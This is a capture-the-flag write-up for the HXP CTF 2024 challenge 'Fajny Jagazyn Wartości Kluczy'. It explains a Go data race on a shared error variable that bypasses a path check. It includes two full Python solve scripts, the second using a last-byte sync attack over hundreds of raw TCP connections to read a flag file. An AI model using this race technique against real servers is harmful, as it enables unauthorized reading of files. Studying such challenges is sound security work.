---
# System prepended metadata

title: HXP CTF - Fajny Jagazyn Wartości Kluczy

---

# HXP CTF 2024- Fajny Jagazyn Wartości Kluczy

Writeup by [r2uwu2](https://github.com/r2dev2) from [PBR | UCLA](https://pbr.acmcyber.com) (as part of [SuperDiceCode](https://ctftime.org/team/222838))

> A fresh web scale Key Value Store just for you 🥰

> Solves: 8
> Points: 588

[toc]

## Challenge

We are given a go http server. Upon requesting to the server,  a "frontend" assigns us a session id. It then starts a unique Key-Value (KV) store service corresponding to the session id and proxies our traffic to the service.

The KV store has two useful routes `/get` and `/set`. Performing a `GET /get?name=owo` will get the value corresponding to the key of `owo`. To set `owo` to `uwu`, we can perform a `GET /set?name=owo&value=uwu`.

The relevant code for `/get` is below.

```go=35
dataDir := "/tmp/kv." + session
err := os.Mkdir(dataDir, 0o777)
if err != nil {
  panic(err)
}
err = os.Chdir(dataDir)
if err != nil {
  panic(err)
}

http.HandleFunc("/get", func(w http.ResponseWriter, r *http.Request) {
  name := r.URL.Query().Get("name")
  if err = checkPath(name); err != nil {
    http.Error(w, "checkPath :(", http.StatusInternalServerError)
    return
  }

  file, err := os.Open(name)
  if err != nil {
    http.Error(w, "Open :(", http.StatusInternalServerError)
    return
  }

  data, err := io.ReadAll(io.LimitReader(file, 1024))
  if err != nil {
    http.Error(w, "ReadAll :(", http.StatusInternalServerError)
    return
  }

  w.Write(data)
})
```

For `/set`, code is the same except it writes to a file with permissions `0o777`.

`checkPath(name)` checks whether `name` contains `.` or `flag`.

## Observations

### Open Files

In go, files returned by `os.Open` must be manually closed. This is usually done by opening files with following pattern:

```go!
file, err := os.Open(name)
if err != nil {
  return
}
defer file.Close()
```

However, as we see, the file is never closed. This could lead to potential exploits through accessing previously opened files through reading `/proc/self/<fd>`.

### Race Conditions

On line 47, there is some sneaky going on in `if err = checkPath(name); err != nil`. In go, `varname := value` declares a value and `varname = value` re-assigns to the value. Since the closest previous declaration of `err` is on line 36 (outside the handler function), `err` is shared by all invocations to `/get` on the same session.

If we can cause below order of execution, we can set `err = nil` and bypass the check.
```
[request 1] err = checkPath("flag") (an error value)
[request 2] err = checkPath("safe") (nil)
[request 2] err != nil
[request 1] err != nil
```

## Naive Threading

I first tried to trigger the data race by sending requests as fast as possible using python `requests` library. I created two persistent connections: one to set `err = nil` between `err = checkPath("aflag")` and `err != nil` and another connection to repeatedly send a forbidden path `aflag`.

```python!
import requests
from threading import Thread

base = "http://49.13.169.154:8088/"
url = lambda end: f"{base.rstrip('/')}{end}"

s = requests.Session()

r = s.get(url("/"))

session = s.cookies["session"]

end = False

def get_flag():
    global end
    s = requests.Session()
    s.cookies["session"] = session
    while 1:
        r = s.post(url("/get"), params={"name": "a" + "flag"})
        if "checkPath" not in r.text:
            print("rawr", r.text)
            print(r)
            print(r.content)
    end = True


def nullify_err():
    while not end:
        r = s.get(url("/get"), params={"name": "a"})


t1 = Thread(target=get_flag, daemon=True)
t2 = Thread(target=nullify_err, daemon=True)

t2.start()
t1.start()

t1.join()
t2.join()
```

If I bypass `checkPath("aflag")`, I should receive an error message `Open :(`. However, network jitter is too high and the two requests were not arriving close enough together to cause a race condition.

## Lower Layer Attacks

When trying to cause race conditions in remote servers, sending http requests really fast in parallel is often thwarted by network jitter. To get around these limitations, we can be smarter about how we send our requests by looking to the lower layer networking protocols that http requests use.

### Single-Packet Attack

If our server uses HTTP/2, we can perform a single-packet attack. HTTP/2's core feature is that it allows us to send multiple http streams over the same tcp connection. It works by sending part of multiple streams in each tcp packet.

Luckily (at least for hackers), this opens up attacks capable of delivering many http requests at nearly the same time. If we send all but the last byte for each http request we want to make, the server will be in a state storing all of our requests. We can then send a single packet containing the last byte for each request. This will cause all requests to be delivered at the same time.

![single-packet attack demo](https://hackmd.io/_uploads/Sy6dB6JUJg.png)
> a quick diagram i drew in xournal++ showing the single-packet attack

This attack is the most well documented, so I checked whether it was possible to perform.

![devtools](https://hackmd.io/_uploads/HJYS2QkIyg.png)

Unfortunately, in the devtools, it seems like the server only supports up to HTTP/1.1. Since we cannot use HTTP/2, we cannot perform this attack.

### Last-Byte Sync Attack

With HTTP/1.1, our hopes are not completely lost. We can do a similar but much less effective version of the single packet attack called the last-byte sync attack.

We can start many tcp connections to the server and send all but the last byte of each request corresponding to a connection. Then, we can send the last byte in parallel across each connection.

Since each request's last byte is in a separate tcp packet, network jitter may act to deliver the requests at different times. However, since we are only sending a 1-byte packet instead of a ~100-byte packet, the network jitter is significantly reduced.

![last byte sync diagram](https://hackmd.io/_uploads/SJwIPTJLJx.png)
> Stages of a last byte sync attack. Requests are more likely to be delivered at same time.

I couldn't find any implementations of this rare attack, so I had to rawdog tcp connections and write the solve script from scratch. After many attempts of coding and staring at wireshark, I was not able to trigger a race condition.

Then, all of a sudden, I got the below response from requesting `/get?name=oflag`

```
HTTP/1.1 500 Internal Server Error: unset> failed, trying again 36
Content-Length: 8
Content-Type: text/plain; charset=utf-8
Date: Sat, 28 Dec 2024 02:06:26 GMT
X-Content-Type-Options: nosniff

Open :(
```

We had bypassed the `checkPath()` constraint and now have arbitrary read! 

![arc discord](https://hackmd.io/_uploads/S1FKkEyLyg.png)

I put in [arc](https://bulr.boo)'s file path to get below solve script:
```python=
import random
import requests
import socket
from threading import Thread, Event
import time

host = "49.13.169.154"
port = 8088

base = f"http://{host}:{port}"
url = lambda end: f"{base.rstrip('/')}{end}"

def get_session():
    s = requests.Session()
    r = s.get(url("/"))
    session = s.cookies["session"]
    s.close()
    return session

session = get_session()

events = []
barrier = Event()

def get_path(fp, ev, alert_on=None):
    path = f"/get?name={fp}"
    request = f"""GET {path} HTTP/1.1
Host: {host}:{port}
Cookie: session={session}
Connection: keep-alive
""".replace("\n", "\r\n")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        cnt = 0

        while 1:
            s.sendall(request.encode())
            ev.set()

            barrier.wait()
            s.send(b"\r\n")
            time.sleep(0)

            resp = b""
            while chunk := s.recv(4096):
                resp += chunk
                if b"\r\n\r\n" in chunk:
                    break

            if "booted a fresh" in resp.decode():
                print("restarted")
                exit()

            if alert_on is not None and alert_on in resp.decode():
                print(resp.decode())
                print("exiting")
                exit()
            elif alert_on is not None:
                print(ev, "failed, trying again", cnt, end="\r", flush=True)
                cnt += 1

            time.sleep(0)
            barrier.clear()

def get_flag():
    ev = Event()
    events.append(ev)
    # get_path("o" * int(1e1) + "flag", ev, "Open")
    get_path("/home/ctf/flag.txt", ev, "{")

def nullify_err():
    ev = Event()
    events.append(ev)
    get_path("o" * int(1e1), ev)


t2 = [Thread(target=nullify_err, daemon=True) for _ in range(300)]
t1 = [Thread(target=get_flag, daemon=True) for _ in range(300)]
threads = [*t2, *t1]
random.shuffle(threads)

for t in threads:
    t.start()

while 1:
    for ev in events:
        ev.wait()
    for ev in events:
        ev.clear()
    barrier.set()

for t in threads:
    t.join()
```

After around 10 seconds of racing, I got the response:

```
HTTP/1.1 200 OKt at 0x7a1f13c84ec0: unset> failed, trying again 10
Content-Length: 71
Content-Type: text/plain; charset=utf-8
Date: Sat, 28 Dec 2024 02:08:40 GMT

hxp{Another_world-class_product_from_the_former_search_engine_company}
```

After quickly submitting the flag, I found out that I blooded the challenge hehe.